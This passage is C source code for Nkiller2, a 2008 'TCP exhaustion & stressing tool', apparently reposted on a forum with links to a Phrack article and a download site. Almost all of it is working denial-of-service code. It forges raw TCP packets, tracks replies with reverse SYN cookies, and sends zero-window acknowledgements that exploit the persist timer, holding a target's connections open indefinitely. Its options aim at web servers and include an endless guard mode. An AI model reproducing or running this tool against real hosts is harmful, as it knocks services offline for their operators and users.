pcap_t *pd; } SniffInfo; typedef struct Sock { struct in_addr saddr; struct in_addr daddr; uint16_t sport; uint16_t dport; } Sock; /* global vars */ Options o; /**** function declarations ****/ /* helper functions */ static void fatal(const char *fmt, ...); static void usage(void); static void help(void); static void *xcalloc(size_t nelem, size_t size); static void *xmalloc(size_t size); static void *xrealloc(void *ptr, size_t size); /* port-handling functions */ static void port_add(HostInfo *Target, uint16_t port); static void port_remove(HostInfo *Target, uint16_t port); static int port_exists(HostInfo *Target, uint16_t port); static uint16_t port_get_random(HostInfo *Target); static uint16_t *port_parse(char *portarg, unsigned int *portlen); /* packet helper functions */ static uint16_t checksum_comp(uint16_t *addr, int len); static void handle_payloads(HostInfo *Target); static uint32_t calc_cookie(Sock *sockinfo); static char *build_mss(char **tcpopt, unsigned int *tcpopt_len, uint16_t mss); static int get_timestamp(const struct tcphdr *tcp, uint32_t *tsval, uint32_t *tsecr); static char *build_timestamp(char **tcpopt, unsigned int *tcpopt_len, uint32_t tsval, uint32_t tsecr); /* sniffing functions */ static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer); static int check_replies(HostInfo *Target, SniffInfo *Sniffer, u_char **reply); /* packet handling functions */ static void send_packet(char* packet, unsigned int *packetlen); static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer); static int send_probe(const u_char *reply, HostInfo *Target, int state); static char *build_tcpip_packet(const struct in_addr *source, const struct in_addr *target, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid, uint16_t window, uint8_t flags, char *data, uint16_t datalen, char *tcpopt, unsigned int tcpopt_len, unsigned int *packetlen); /**** function definitions ****/ /* * Wrapper around calloc() that calls fatal when out of memory */ static void * xcalloc(size_t nelem, size_t size) { void *p; p = calloc(nelem, size); if (p == NULL) fatal("Out of memory\n"); return p; } /* * Wrapper around xcalloc() that calls fatal() when out of memory */ static void * xmalloc(size_t size) { return xcalloc(1, size); } static void * xrealloc(void *ptr, size_t size) { void *p; p = realloc(ptr, size); if (p == NULL) fatal("Out of memory\n"); return p; } /* * vararg function called when sth _evil_ happens * usually in conjunction with __func__ to note * which function caused the RIP stat */ static void fatal(const char *fmt, ...) { va_list ap; va_start(ap, fmt); (void) vfprintf(stderr, fmt, ap); va_end(ap); exit(EXIT_FAILURE); } /* Return network stack template */ static const char * get_template(int template) { switch (template) { case T_LINUX: return("Linux"); case T_BSDWIN: return("BSD | Windows"); default: return("Unknown"); } } /* * Print a short usage summary and exit */ static void usage(void) { fprintf(stderr, "nkiller2 [-t addr] [-p ports] [-k key] [-n total probes]\n" " [-N probes/rnd] [-c msec] [-l payload] [-w path]\n" " [-s sleep] [-d level] [-r vhost] [-T template]\n" " [-P probe-interval] [-hvyg]\n" "Please use `-h' for detailed help.\n"); exit(EX_USAGE); } /* * Print detailed help */ static void help(void) { static const char *help_message = "Nkiller2 - a TCP exhaustion & stressing tool\n" "\n" "Copyright (c) 2008 ithilgore <ithilgore.ryu.L@gmail.com>\n" "http://sock-raw.org\n" "\n" "Nkiller is free software, covered by the GNU General Public License," "\nand you are welcome to change it and/or distribute copies of it " "under\ncertain conditions. See the file `COPYING' in the source\n" "distribution of nkiller for the conditions and terms that it is\n" "distributed under.\n" "\n" " WARNING:\n" "The authors disclaim any express or implied warranties, including,\n" "but not limited to, the implied warranties of merchantability and\n" "fitness for any particular purpose. In no event shall the authors " "or\ncontributors be liable for any direct, indirect, incidental, " "special,\nexemplary, or consequential damages (including, but not " "limited to,\nprocurement of substitute goods or services; loss of " "use, data, or\nprofits; or business interruption) however caused and" " on any theory\nof liability, whether in contract, strict liability," " or tort\n(including negligence or otherwise) arising in any way out" " of the use\nof this software, even if advised of the possibility of" " such damage.\n\n" "Usage:\n" "\n" " nkiller2 -t <target> -p <ports> [options]\n" "\n" "Mandatory:\n" " -t target The IP address of the target host.\n" " -p port[,port] A list of ports, separated by commas. Specify\n" " only ports that are known to be open, or use\n" " -y when unsure.\n" "Options:\n" " -c msec Time in microseconds, between each pcap poll\n" " for packets (pcap poll timeout).\n" " -d level Set the debug level (1: some, 2: all)\n" " -h Print this help message.\n" " -k key Set the key for reverse SYN cookies.\n" " -l payload Additional payload string.\n" " -s sleep Average time in ms between each probe.\n" " -n probes Set the number of probes, 0 for unlimited.\n" " -N probes/rnd Number of probes per round.\n" " -T template Attacked network stack template:\n" " 0. Linux (default)\n" " 1. *BSD | Windows\n" " -P time Number of seconds after which we reply to the\n" " persist timer probes.\n" " -w path URL or GET request to web server. The path of\n" " a big file (> 4K) should work nicely here.\n" " -r vhost Virtual host name. This is needed for web\n" " hosts that support virtual hosting on HTTP1.1\n" " -g Guardmode. Continue answering to zero probes \n" " until the end of times.\n" " -y Dynamic port handling. Remove ports from the\n" " port list if we get an RST for them. Useful\n" " when you do not know if one port is open for " "sure.\n" " -v Verbose mode.\n"; printf("%s", help_message); fflush(stdout); } /* * Build a TCP packet from its constituents */ static char * build_tcpip_packet(const struct in_addr *source, const struct in_addr *target, uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid, uint16_t window, uint8_t flags, char *data, uint16_t datalen, char *tcpopt, unsigned int tcpopt_len, unsigned int *packetlen) { char *packet; struct ip *ip; struct tcphdr *tcp; pseudo_hdr *phdr; char *tcpdata; /* fake length to account for 16bit word padding chksum */ unsigned int chklen; if (tcpopt_len % 4) fatal("TCP option length must be divisible by 4.\n"); *packetlen = sizeof(*ip) + sizeof(*tcp) + tcpopt_len + datalen; if (*packetlen % 2) chklen = *packetlen + 1; else chklen = *packetlen; packet = xmalloc(chklen + sizeof(*phdr)); ip = (struct ip *)packet; tcp = (struct tcphdr *) ((char *)ip + sizeof(*ip)); tcpdata = (char *) ((char *)tcp + sizeof(*tcp) + tcpopt_len); memset(packet, 0, chklen); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = *packetlen; /* must be in host byte order for FreeBSD */ ip->ip_id = htons(ipid); /* kernel will fill with random value if 0 */ ip->ip_off = 0; ip->ip_ttl = ttl; ip->ip_p = IPPROTO_TCP; ip->ip_sum = checksum_comp((unsigned short *)ip, sizeof(struct ip)); ip->ip_src.s_addr = source->s_addr; ip->ip_dst.s_addr = target->s_addr; tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = seq; tcp->th_ack = ack; tcp->th_x2 = 0; tcp->th_off = 5 + (tcpopt_len / 4); tcp->th_flags = flags; tcp->th_win = htons(window); tcp->th_urp = 0; memcpy((char *)tcp + sizeof(*tcp), tcpopt, tcpopt_len); memcpy(tcpdata, data, datalen); /* pseudo header used for checksumming */ phdr = (struct pseudo_hdr *) ((char *)packet + chklen); phdr->src = source->s_addr; phdr->dst = target->s_addr; phdr->mbz = 0; phdr->proto = IPPROTO_TCP; phdr->len = ntohs((tcp->th_off * 4) + datalen); /* tcp checksum */ tcp->th_sum = checksum_comp((unsigned short *)tcp, chklen - sizeof(*ip) + sizeof(*phdr)); return packet; } /* * Write the packet to the network and free it from memory */ static void send_packet(char* packet, unsigned int *packetlen) { struct sockaddr_in sin; int sockfd, one; sin.sin_family = AF_INET; sin.sin_port = ((struct tcphdr *)(packet + sizeof(struct ip)))->th_dport; sin.sin_addr.s_addr = ((struct ip *)(packet))->ip_dst.s_addr; if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) fatal("cannot open socket"); one = 1; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *) &one, sizeof(one)); if (sendto(sockfd, packet, *packetlen, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) { fatal("sendto error: "); } close(sockfd); free(packet); } /* * Build TCP timestamp option * tcpopt points to possibly already existing TCP options * so inspect current TCP option length (tcpopt_len) */ static char * build_timestamp(char **tcpopt, unsigned int *tcpopt_len, uint32_t tsval, uint32_t tsecr) { struct timeval now; tcp_timestamp t; char *opt = NULL; if (*tcpopt_len) { opt = xrealloc(*tcpopt, *tcpopt_len + sizeof(t)); *tcpopt = opt; opt += *tcpopt_len; } else *tcpopt = xmalloc(sizeof(t)); memset(&t, TCPOPT_NOP, sizeof(t)); t.kind = TCPOPT_TIMESTAMP; t.length = 10; if (gettimeofday(&now, NULL) < 0) fatal("Couldn't get time of day\n"); t.tsval = htonl((tsval) ? tsval : (uint32_t)now.tv_sec); t.tsecr = htonl((tsecr) ? tsecr : 0); if (*tcpopt_len) memcpy(opt, &t, sizeof(t)); else memcpy(*tcpopt, &t, sizeof(t)); *tcpopt_len += sizeof(t); return *tcpopt; } /* * Build TCP Maximum Segment Size option */ static char * build_mss(char **tcpopt, unsigned int *tcpopt_len, uint16_t mss) { struct tcp_mss t; char *opt; if (*tcpopt_len) { opt = realloc(*tcpopt, *tcpopt_len + sizeof(t)); *tcpopt = opt; opt += *tcpopt_len; } else *tcpopt = xmalloc(sizeof(t)); memset(&t, TCPOPT_NOP, sizeof(t)); t.kind = TCPOPT_MAXSEG; t.length = 4; t.mss = htons(mss); if (*tcpopt_len) memcpy(opt, &t, sizeof(t)); else memcpy(*tcpopt, &t, sizeof(t)); *tcpopt_len += sizeof(t); return *tcpopt; } /* * Perform pcap polling (until a certain timeout) and * return the packet you got - also check that the * packet we get is something we were expecting, according * to the reverse cookie we had set in the tcp seq field. * Returns the virtual state that the reply denotes and which * we differentiate from each other based on packet parsing techniques. */ static int check_replies(HostInfo *Target, SniffInfo *Sniffer, u_char **reply) { int timedout = 0; int goodone = 0; const u_char *packet = NULL; uint32_t decoded_seq; uint32_t ack, calc_ack; int state; uint16_t datagram_len; uint32_t datalen; struct Sock sockinfo; struct pcap_pkthdr phead; const struct ip *ip; const struct tcphdr *tcp; struct timeval now, wait; uint32_t tsval, tsecr; uint32_t time_elapsed = 0; state = 0; if (gettimeofday(&wait, NULL) < 0) fatal("Couldn't get time of day\n"); /* poll for 'polltime' micro seconds */ wait.tv_usec += o.polltime; do { datagram_len = 0; packet = pcap_next(Sniffer->pd, &phead); if (gettimeofday(&now, NULL) < 0) fatal("Couldn't get time of day\n"); if (TIMEVAL_SUBTRACT(wait, now) < 0) timedout++; if (packet == NULL) continue; /* This only works on Ethernet - be warned */ if (*(packet + 12) != 0x8) { break; /* not an IPv4 packet */ } ip = (const struct ip *) (packet + SIZE_ETHERNET); /* * TCP/IP header checking - end cases are more than the ones * checked below but are so rarely happening that for * now we won't go into trouble to validate - could also * use validedpkt() from nmap/tcpip.cc */ if (ip->ip_hl < 5) { if (o.debug2) (void) fprintf(stderr, "IP header < 20 bytes\n"); break; } if (ip->ip_p != IPPROTO_TCP) { if (o.debug2) (void) fprintf(stderr, "Packet not TCP\n"); break; } datagram_len = ntohs(ip->ip_len); /* Save length for later */ tcp = (const void *) ((const char *)ip + ip->ip_hl * 4); if (tcp->th_off < 5) { if (o.debug2) (void) fprintf(stderr, "TCP header < 20 bytes\n"); break; } datalen = datagram_len - (ip->ip_hl * 4) - (tcp->th_off * 4); /* A non-ACK packet is nothing valid */ if (!(tcp->th_flags & TH_ACK)) break; /* * We swap the values accordingly since we want to * check the result with the 4tuple we had created * when sending our own syn probe */ sockinfo.saddr.s_addr = ip->ip_dst.s_addr; sockinfo.daddr.s_addr = ip->ip_src.s_addr; sockinfo.sport = ntohs(tcp->th_dport); sockinfo.dport = ntohs(tcp->th_sport); decoded_seq = calc_cookie(&sockinfo); if (tcp->th_flags & (TH_SYN|TH_RST)) { ack = ntohl(tcp->th_ack) - 1; calc_ack = ntohl(decoded_seq); /* * We can't directly compare two values returned by * the ntohl functions */ if (ack != calc_ack) break; /* OK we got a reply to something we have sent */ /* SYNACK case */ if (tcp->th_flags & TH_SYN) { if (o.dynamic && port_exists(Target, sockinfo.dport)) { if (o.debug2) (void) fprintf(stderr, "Port doesn't exist in list " "- probably removed it before due to an RST and dynamic " "handling\n"); break; } if (o.debug) (void) fprintf(stdout, "Got SYN packet with seq: %x our port: %u " "target port: %u\n", decoded_seq, sockinfo.sport, sockinfo.dport); goodone++; state = S_SYNACK; /* ERR case */ } else if (tcp->th_flags & TH_RST) { /* * If we get an RST packet this means that the port is * closed and thus we remove it from our port list. */ if (o.debug2) (void) fprintf(stdout, "Oops! Got an RST packet with seq: %x " "port %u is closed\n",decoded_seq, sockinfo.dport); if (o.dynamic) port_remove(Target, sockinfo.dport); } } else { /* * Each subsequent ACK that we get will have the * same acknowledgment number since we won't be sending * any more data to the target. */ ack = ntohl(tcp->th_ack); calc_ack = ntohl(decoded_seq) + Target->wlen + 1; if (ack != calc_ack) break; struct timeval now; if (get_timestamp(tcp, &tsval, &tsecr)) { if (gettimeofday(&now, NULL) < 0) fatal("Couldn't get time of day\n"); time_elapsed = now.tv_sec - tsecr; //if (o.debug) // (void) fprintf(stdout, "Time elapsed: %u (sport: %u)\n", // time_elapsed, sockinfo.sport); } else (void) fprintf(stdout, "Warning: No timestamp available from " "target host's reply. Chaotic behaviour imminent...\n"); /* * First Data Acknowledgment case (FDACK) * Note that this packet may not always appear, since there * is a chance that it will be piggybacked with the first * sending data of the peer, depending on whether the delayed * acknowledgment timer expired or not at the peer side. * Practically, we choose to ignore it and wait until * we receive actual data. */ if (ack == calc_ack && (!datalen || datalen == 1) && time_elapsed < o.probe_interval) { state = S_FDACK; break; } /* * Data - victim sent the first packet(s) of data */ if (ack == calc_ack && datalen > 1) { if (tcp->th_flags & TH_PUSH) { state = S_DATA_1; goodone++; break; } else { state = S_DATA_0; goodone++; break; } } /* * Persist (Probe) Timer reply * The time_elapsed limit must be at least equal to the product: * ('persist_timer_interval' * '/proc/sys/net/ipv4/tcp_retries2') * or else we might lose an important probe and fail to ack it * On Linux: persist_timer_interval = about 2 minutes (after it has * stabilized) and tcp_retries2 = 15 probes. * Note we check 'datalen' for both 0 and 1 since Linux probes * with 0 data, while *BSD/Windows probe with 1 byte of data */ if (ack == calc_ack && (!datalen || datalen == 1) && time_elapsed >= o.probe_interval) { state = S_PROBE; goodone++; break; } } } while (!timedout && !goodone); if (goodone) { *reply = xmalloc(datagram_len); memcpy(*reply, packet + SIZE_ETHERNET, datagram_len); } return state; } /* * Parse TCP options and get timestamp if it exists. * Return 1 if timestamp valid, 0 for failure */ int get_timestamp(const struct tcphdr *tcp, uint32_t *tsval, uint32_t *tsecr) { u_char *p; unsigned int op; unsigned int oplen; unsigned int len = 0; if (!tsval || !tsecr) return 0; p = ((u_char *)tcp) + sizeof(*tcp); len = 4 * tcp->th_off - sizeof(*tcp); while (len > 0 && *p != TCPOPT_EOL) { op = *p++; if (op == TCPOPT_EOL) break; if (op == TCPOPT_NOP) { len--; continue; } oplen = *p++; if (oplen < 2) break; if (oplen > len) break; /* not enough space */ if (op == TCPOPT_TIMESTAMP && oplen == 10) { /* legitimate timestamp option */ if (tsval) { memcpy((char *)tsval, p, 4); *tsval = ntohl(*tsval); } p += 4; if (tsecr) { memcpy((char *)tsecr, p, 4); *tsecr = ntohl(*tsecr); } return 1; } len -= oplen; p += oplen - 2; } *tsval = 0; *tsecr = 0; return 0; } /* * Craft SYN initiating probe */ static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer) { char *packet; char *tcpopt = NULL; uint16_t sport, dport; uint32_t encoded_seq; unsigned int packetlen, tcpopt_len; Sock *sockinfo = NULL; tcpopt_len = 0; sockinfo = xmalloc(sizeof(*sockinfo)); sport = (1024 + random()) % 65536; dport = port_get_random(Target); /* Calculate reverse cookie and encode value into sequence number */ sockinfo->saddr.s_addr = Sniffer->saddr.s_addr; sockinfo->daddr.s_addr = Target->daddr.s_addr; sockinfo->sport = sport; sockinfo->dport = dport; encoded_seq = calc_cookie(sockinfo); /* Build tcp options - timestamp, mss */ tcpopt = build_timestamp(&tcpopt, &tcpopt_len, 0, 0); tcpopt = build_mss(&tcpopt, &tcpopt_len, 1024); packet = build_tcpip_packet( &Sniffer->saddr, &Target->daddr, sport, dport, encoded_seq, 0, 64, random() % (uint16_t)~0, 1024, TH_SYN, NULL, 0, tcpopt, tcpopt_len, &packetlen ); send_packet(packet, &packetlen); if (tcpopt) free(tcpopt); if (sockinfo) free(sockinfo); } /* * Generic probe function: depending on the value of 'state' as * denoted by check_replies() earlier, we trigger a different probe * behaviour, taking also into account any network stack templates. */ static int send_probe(const u_char *reply, HostInfo *Target, int state) { char *packet; unsigned int packetlen; uint32_t ack; char *tcpopt = NULL; unsigned int tcpopt_len; int validstamp; uint32_t tsval, tsecr; struct ip *ip; struct tcphdr *tcp; uint16_t datalen; uint16_t window; int payload = 0; validstamp = 0; tcpopt_len = 0; ip = (struct ip *)reply; tcp = (struct tcphdr *)((char *)ip + ip->ip_hl * 4); datalen = ntohs(ip->ip_len) - (ip->ip_hl * 4) - (tcp->th_off * 4); switch (state) { case S_SYNACK: ack = ntohl(tcp->th_seq) + 1; window = 1024; payload++; break; case S_DATA_0: ack = ntohl(tcp->th_seq) + datalen; if (o.template == T_BSDWIN) window = 0; else window = 512; break; case S_DATA_1: ack = ntohl(tcp->th_seq) + datalen; window = 0; break; case S_PROBE: ack = ntohl(tcp->th_seq); window = 0; break; default: /* we shouldn't get here */ ack = ntohl(tcp->th_seq); window = 0; break; } if (get_timestamp(tcp, &tsval, &tsecr)) { validstamp++; tcpopt = build_timestamp(&tcpopt, &tcpopt_len, 0, tsval); } packet = build_tcpip_packet( &ip->ip_dst, /* mind the swapping */ &ip->ip_src, ntohs(tcp->th_dport), ntohs(tcp->th_sport), tcp->th_ack, /* as seq field */ htonl(ack), 64, random() % (uint16_t)~0, window, TH_ACK, (payload) ? ((ntohs(tcp->th_sport) == 80) ? Target->url : Target->payload) : NULL, (payload) ? ((ntohs(tcp->th_sport) == 80) ? Target->wlen : Target->plen) : 0, (validstamp) ? tcpopt : NULL, (validstamp) ? tcpopt_len : 0, &packetlen ); send_packet(packet, &packetlen); if (tcpopt) free(tcpopt); return 0; } /* * Reverse(or client) syn_cookie function - encode the 4tuple * { src ip, src port, dst ip, dst port } and a secret key into * the sequence number, thus keeping info of the packet inside itself * (idea taken by scanrand - Nmap uses an equivalent technique too) */ static uint32_t calc_cookie(Sock *sockinfo) { uint32_t seq; unsigned int cookie_len; unsigned int input_len; unsigned char *input; unsigned char cookie[EVP_MAX_MD_SIZE]; input_len = sizeof(*sockinfo); input = xmalloc(input_len); memcpy(input, sockinfo, sizeof(*sockinfo)); /* Calculate a sha1 hash based on the quadruple and the skey */ HMAC(EVP_sha1(), (char *)o.skey, strlen(o.skey), input, input_len, cookie, &cookie_len); free(input); /* Get only the first 32 bits of the sha1 hash */ memcpy(&seq, &cookie, sizeof(seq)); return seq; } static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer) { char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program bpf; struct pcap_addr *address; struct sockaddr_in *ip; char filter[27]; strncpy(filter, "src host ", sizeof(filter)); strncpy(&filter[sizeof("src host ")-1], inet_ntoa(Target->daddr), 16); if (o.debug) (void) fprintf(stdout, "Filter: %s\n", filter); if ((pcap_findalldevs(&Sniffer->dev, errbuf)) == -1) fatal("%s: pcap_findalldevs(): %s\n", __func__, errbuf); address = Sniffer->dev->addresses; address = address->next; /* first address is garbage */ if (address->addr) { ip = (struct sockaddr_in *) address->addr; memcpy(&Sniffer->saddr, &ip->sin_addr, sizeof(struct in_addr)); if (o.debug) { (void) fprintf(stdout, "Local IP: %s\nDevice name: " "%s\n", inet_ntoa(Sniffer->saddr), Sniffer->dev->name); } } else fatal("%s: Couldn't find associated IP with interface %s\n", __func__, Sniffer->dev->name); if (!(Sniffer->pd = pcap_open_live(Sniffer->dev->name, BUFSIZ, 0, 0, errbuf))) fatal("%s: Could not open device %s: error: %s\n ", __func__, Sniffer->dev->name, errbuf); if (pcap_compile(Sniffer->pd , &bpf, filter, 0, 0) == -1) fatal("%s: Couldn't parse filter %s: %s\n ", __func__, filter, pcap_geterr(Sniffer->pd)); if (pcap_setfilter(Sniffer->pd, &bpf) == -1) fatal("%s: Couldn't install filter %s: %s\n", __func__, filter, pcap_geterr(Sniffer->pd)); if (pcap_setnonblock(Sniffer->pd, 1, NULL) < 0) fprintf(stderr, "Couldn't set nonblocking mode\n"); } static uint16_t * port_parse(char *portarg, unsigned int *portlen) { char *endp; uint16_t *ports; unsigned int nports; unsigned long pvalue; char *temp; *portlen = 0; ports = xmalloc(65535 * sizeof(uint16_t)); nports = 0; while (nports < 65535) { if (nports == 0) temp = strtok(portarg, ","); else temp = strtok(NULL, ","); if (temp == NULL) break; endp = NULL; errno = 0; pvalue = strtoul(temp, &endp, 0); if (errno != 0 || *endp != '\0') { fprintf(stderr, "Invalid port number: %s\n", temp); goto cleanup; } if (pvalue > IPPORT_MAX) { fprintf(stderr, "Port number too large: %s\n", temp); goto cleanup; } ports[nports++] = (uint16_t)pvalue; } if (portlen != NULL) *portlen = nports; return ports; cleanup: free(ports); return NULL; } /* * Check if port is in list, return 0 if it is, -1 if not * (similar to port_remove in logic) */ static int port_exists(HostInfo *Target, uint16_t port) { port_elem *current; port_elem *before; current = Target->ports.first; before = Target->ports.first; while (current->port_val != port && current->next != NULL) { before = current; current = current->next; } if (current->port_val != port && current->next == NULL) { if (o.debug2) (void) fprintf(stderr, "%s: port %u doesn't exist in " "list\n", __func__, port); return -1; } else return 0; } /* * Remove specific port from portlist */ static void port_remove(HostInfo *Target, uint16_t port) { port_elem *current; port_elem *before; current = Target->ports.first; before = Target->ports.first; while (current->port_val != port && current->next != NULL) { before = current; current = current->next; } if (current->port_val != port && current->next == NULL) { if (current != Target->ports.first) { if (o.debug2) (void) fprintf(stderr, "Port %u not found in list\n", port); return; } } if (current != Target->ports.first) { before->next = current->next; } else { Target->ports.first = current->next; } Target->portlen--; if (!Target->portlen) fatal("No port left to hit!\n"); } /* * Add new port to port linked list of Target */ static void port_add(HostInfo *Target, uint16_t port) { port_elem *current; port_elem *newNode; newNode = xmalloc(sizeof(*newNode)); newNode->port_val = port; newNode->next = NULL; if (Target->ports.first == NULL) { Target->ports.first = newNode; Target->ports.last = newNode; return; } current = Target->ports.last; current->next = newNode; Target->ports.last = newNode; } /* * Return a random port from portlist */ static uint16_t port_get_random(HostInfo *Target) { port_elem *temp; unsigned int i, offset; temp = Target->ports.first; offset = (random() % Target->portlen); i = 0; while (i < offset) { temp = temp->next; i++; } return temp->port_val; } /* * Prepare the payload that will be sent in the 3rd phase * of the Connection-estalishment handshake (piggypacked * along with the ACK of the peer's SYNACK) */ static void handle_payloads(HostInfo *Target) { if (o.payload[0]) { Target->plen = strlen(o.payload); Target->payload = xmalloc(Target->plen); strncpy(Target->payload, o.payload, Target->plen); } else { Target->payload = NULL; Target->plen = 0; } if (o.path[0]) { if (o.vhost[0]) { Target->wlen = strlen(o.path) + strlen(o.vhost) + sizeof("GET HTTP/1.0\015\012Host: \015\012\015\012") - 1; Target->url = xmalloc(Target->wlen + 1); /* + 1 for trailing '\0' of snprintf() */ snprintf(Target->url, Target->wlen + 1, "GET %s HTTP/1.0\015\012Host: %s\015\012\015\012", o.path, o.vhost); } else { Target->wlen = strlen(o.path) + sizeof("GET HTTP/1.0\015\012\015\012") - 1; Target->url = xmalloc(Target->wlen + 1); snprintf(Target->url, Target->wlen + 1, "GET %s HTTP/1.0\015\012\015\012", o.path); } } else { Target->wlen = sizeof(WEB_PAYLOAD) - 1; Target->url = xmalloc(Target->wlen); memcpy(Target->url, WEB_PAYLOAD, Target->wlen); } } /* No way you have seen this before! */ static uint16_t checksum_comp(uint16_t *addr, int len) { register long sum = 0; uint16_t checksum; int count = len; uint16_t temp; while (count > 1) { temp = *addr++; sum += temp; count -= 2; } if (count > 0) sum += *(char *) addr; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); checksum = ~sum; return checksum; } int main(int argc, char **argv) { int print_help; int opt; int required; int debug_level; size_t i; unsigned int portlen; unsigned int probes, probes_sent, probes_left; unsigned int probes_this_rnd, probes_rnd_fini; int unlimited, state, probe_byusr; HostInfo *Target; SniffInfo *Sniffer; u_char *reply = NULL; char *endp; srandom(time(0)); if (argc == 1) { usage(); } memset(&o, 0, sizeof(o)); unlimited = 0; required = 0; portlen = 0; print_help = 0; probe_byusr = 0; probes = DEFAULT_NUM_PROBES; o.sleep = DEFAULT_SLEEP_TIME; o.probes_per_rnd = DEFAULT_PROBES_RND; o.probe_interval = DEFAULT_PROBE_INTERVAL; strncpy(o.skey, DEFAULT_KEY, sizeof(o.skey)); o.polltime = DEFAULT_POLLTIME; /* Option parsing */ while ((opt = getopt(argc, argv, "t:k:l:w:c:p:n:vd:s:r:N:T:P:yhg")) != -1) { switch (opt) { case 't': /* target address */ strncpy(o.target, optarg, sizeof(o.target)); required++; break; case 'k': /* secret key */ strncpy(o.skey, optarg, sizeof(o.skey)); break; case 'l': /* payload */ strncpy(o.payload, optarg, sizeof(o.payload) - 1); break; case 'w': /* path */ strncpy(o.path, optarg, sizeof(o.path) - 1); break; case 'r': /* vhost name */ strncpy(o.vhost, optarg, sizeof(o.vhost) -1); break; case 'c': /* polltime */ endp = NULL; o.polltime = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid polltime: %s\n", optarg); break; case 'p': /* destination port */ if (!(o.portlist = port_parse(optarg, &portlen))) fatal("Couldn't parse ports!\n"); required++; break; case 'n': /* number of probes */ endp = NULL; o.probes = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid probe number: %s\n", optarg); probe_byusr++; if (!o.probes) { unlimited++; probe_byusr = 0; } break; case 'N': /* probes per round */ endp = NULL; o.probes_per_rnd = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid probes-per-round number: %s\n", optarg); break; case 'T': /* template number */ endp = NULL; o.template = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid template number: %s\n", optarg); break; case 'P': /* probe timer interval */ endp = NULL; o.probe_interval = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid probe-interval number: %s\n", optarg); break; case 'g': /* guard mode */ o.guardmode++; break; case 'v': /* verbose mode */ o.verbose++; break; case 'd': /* debug mode */ endp = NULL; debug_level = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid probe number: %s\n", optarg); if (debug_level != 1 && debug_level != 2) fatal("Debug level must be either 1 or 2\n"); else if (debug_level == 1) o.debug++; else { o.debug2++; o.debug++; } break; case 's': /* sleep time between each probe */ endp = NULL; o.sleep = strtoul(optarg, &endp, 0); if (errno != 0 || *endp != '\0') fatal("Invalid sleep number: %s\n", optarg); break; case 'y': /* dynamic port handling */ o.dynamic++; break; case 'h': /* help - usage */ print_help = 1; break; case '?': /* error */ usage(); break; } } if (print_help) { help(); exit(EXIT_SUCCESS); } if (getuid() && geteuid()) fatal("You need to be root.\n"); if (required < 2) fatal("You have to define both -t <target> and -p <portlist>\n"); (void) fprintf(stdout, "\nStarting Nkiller 2.0 " "( http://sock-raw.org )\n"); Target = xmalloc(sizeof(HostInfo)); Sniffer = xmalloc(sizeof(SniffInfo)); Target->portlen = portlen; for (i = 0; i < Target->portlen; i++) port_add(Target, o.portlist[i]); if (!unlimited && probe_byusr) probes = o.probes; inet_pton(AF_INET, o.target, &Target->daddr); handle_payloads(Target); sniffer_init(Target, Sniffer); if (o.verbose) { if (unlimited) (void) fprintf(stdout, "Probes: unlimited\n"); else (void) fprintf(stdout, "Probes: %u\n", probes); (void) fprintf(stdout, "Probes per round: %u\n" "Pcap polling time: %u microseconds\n" "Sleep time: %u microseconds\n" "Key: %s\n" "Probe interval: %u seconds\n" "Template: %s\n", o.probes_per_rnd, o.polltime, o.sleep, o.skey, o.probe_interval, get_template(o.template)); if (o.guardmode) (void) fprintf(stdout, "Guardmode on\n"); } probes_sent = 0; probes_left = probes; probes_rnd_fini = 0; probes_this_rnd = 0; /* Main loop */ while (probes_left || o.guardmode || unlimited) { if (probes_rnd_fini >= o.probes_per_rnd) { probes_rnd_fini = 0; probes_this_rnd = 0; } if (!unlimited && probes_left == (0.5 * probes) && o.verbose) (void) fprintf(stdout, "Half of probes left.\n"); if (probes_sent < probes && probes_this_rnd < o.probes_per_rnd) { send_syn_probe(Target, Sniffer); if (!unlimited) probes_sent++; probes_this_rnd++; } usleep(o.sleep); /* Wait a bit before each probe */ state = check_replies(Target, Sniffer, &reply); switch (state) { case S_ERR: continue; break; case S_SYNACK: send_probe(reply, Target, S_SYNACK); free(reply); break; case S_FDACK: continue; break; case S_PROBE: send_probe(reply, Target, S_PROBE); free(reply); probes_rnd_fini++; if (!unlimited) probes_left--; break; case S_DATA_0: send_probe(reply, Target, S_DATA_0); free(reply); if (o.template == T_BSDWIN) probes_rnd_fini++; break; case S_DATA_1: send_probe(reply, Target, S_DATA_1); free(reply); /* Increase aggressiveness */ probes_rnd_fini++; break; default: break; } } (void) fprintf(stdout, "Finished.\n"); exit(EXIT_SUCCESS); } Vezi si: http://rstcenter.com/forum/34491-%5Bphrack%5D-exploiting-tcp-persist-timer-infiniteness.rst Download: http://sock-raw.org/projects/nkiller2/nkiller2.c
-
